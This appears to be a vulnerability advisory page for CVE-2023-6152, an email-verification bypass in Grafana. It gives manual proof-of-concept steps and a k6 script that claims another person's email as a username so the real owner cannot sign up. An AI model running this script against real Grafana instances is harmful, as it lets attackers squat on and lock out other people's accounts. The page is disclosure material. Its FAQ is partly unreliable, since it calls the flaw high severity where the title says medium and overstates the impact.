CVE-2023-6152: Medium severity grafana labs grafana oss and enterprise vulnerability
Summary Email validation can easily be bypassed because verifyemailenabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.
Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.
!
Here user a prevents owner of bar@example.com to signup.
Details I don't know exact location but this is related to PUT /api/user handler.
PoC Bypass email validation: Start a new grafana instance using latest version Sign up with email foo@example. Login to that account. Go to profile and change email to bar@example.com That's it, your using an email you don't own.
Prevent email's owner from signing up: Start a new grafana instance using latest version Sign up with email foo@example. Login to that account. Go to profile and change username (not email) to bar@example.com Signout. Try to sign up with email b@example.com Warning popup "User with same email address already exists"
K6 script (with verifyemailenabled set to false): js import { check, group } from "k6" import http from "k6/http"
export const options = { scenarios: { perVuIter: { executor: 'per-vu-iterations', vus: 1, iterations: 1 } } }
const GRAFANAURL = ENV.GRAFANAURL || "http://localhost:3000"
export default function () { group("create usera with email foo@example.com", () => { const response = http.post(${GRAFANAURL}/api/user/signup/step2, JSON.stringify({ "email": "foo@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } })
check(response, { 'status code is 200': (r) => r.status == 200 }) })
group("change usera login to bar@example.com", () => { const response = http.put(${GRAFANAURL}/api/user, JSON.stringify({ "email": "foo@example.com", "login": "bar@example.com", // userb email. }), { headers: { 'Content-Type': "application/json" } })
check(response, { 'status code is 200': (r) => r.status == 200 }) })
http.cookieJar().clear(GRAFANAURL)
group("create userb with email bar@example.com", () => { const response = http.post(${GRAFANAURL}/api/user/signup/step2, JSON.stringify({ "email": "bar@example.com", "username": "bar@example.com", "password": "password" }), { headers: { 'Content-Type': "application/json" } })
check(response, { 'status code is 200': (r) => r.status == 200 // fail }) }) }
Impact Bypass email verification. Prevent legitimate owner from signing up.
Other sources
A user changing their email after signing up and verifying it can change it without verification in profile settings.
The configuration option "verifyemailenabled" will only validate email only on sign up.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2023-6152?
CVE-2023-6152 is considered a high severity vulnerability due to the potential for email verification bypass.
How do I fix CVE-2023-6152?
To fix CVE-2023-6152, upgrade to Grafana version 9.5.16 or later, or to any of the patched versions in the 10.x release series.
Which versions of Grafana are affected by CVE-2023-6152?
CVE-2023-6152 affects Grafana versions 2.5.0 up to 10.3.3.
What is the impact of CVE-2023-6152?
The impact of CVE-2023-6152 allows users to change their email address without re-verification, which could lead to unauthorized access.
Is there a workaround for CVE-2023-6152?
Currently, the recommended action for CVE-2023-6152 is to upgrade to a fixed version as there are no reported workarounds available.